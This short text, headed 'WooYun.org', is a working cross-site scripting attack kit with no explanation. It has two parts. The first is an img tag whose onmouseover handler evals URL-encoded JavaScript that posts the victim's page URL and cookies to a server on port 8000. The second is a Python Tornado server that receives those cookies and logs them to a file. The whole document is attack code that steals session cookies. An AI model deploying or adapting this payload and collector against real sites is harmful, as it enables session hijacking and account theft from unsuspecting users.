WooYun.org

<img src='' onmouseover="eval(unescape('f%3DencodeURIComponent%2Cr%3Ddocument%2CN%3Dnew%20XMLHttpRequest%2CN.open%28%27post%27%2CdecodeURIComponent%28%27http%3A%252f%252f127.0.0.1%3A8000%27%29%2Ctrue%29%2CN.setRequestHeader%28%27content-type%27%2C%27application/x-www-form-urlencoded%27%29%2CN.send%28%27a%3D%27+f%28r.URL%29+%27%26t%3D%27+f%28r.cookie%29%29'))"></img>http://aoeu.com

#!/usr/bin/env python3
import tornado
from tornado.ioloop import IOLoop
from tornado.web import Application
from threading import Lock
m = Lock()
class MainHandler(tornado.web.RequestHandler):
    def post(self):
        url = self.get_argument('a', default='')
        cookie = self.get_argument('t', default='')
        m.acquire()
        print('url:    {0}\n'.format(url))
        print('cookie: {0}\n\n'.format(cookie))
        with open('log', 'a') as f:
            f.write('url:    {0}\n'.format(url))
            f.write('cookie: {0}\n\n'.format(cookie))
        m.release()
        self.write('')
def main():
    app = Application([
        (r'/', MainHandler),
    ])
    app.listen(8000)
    IOLoop.instance().start()
if __name__ == '__main__':
    main()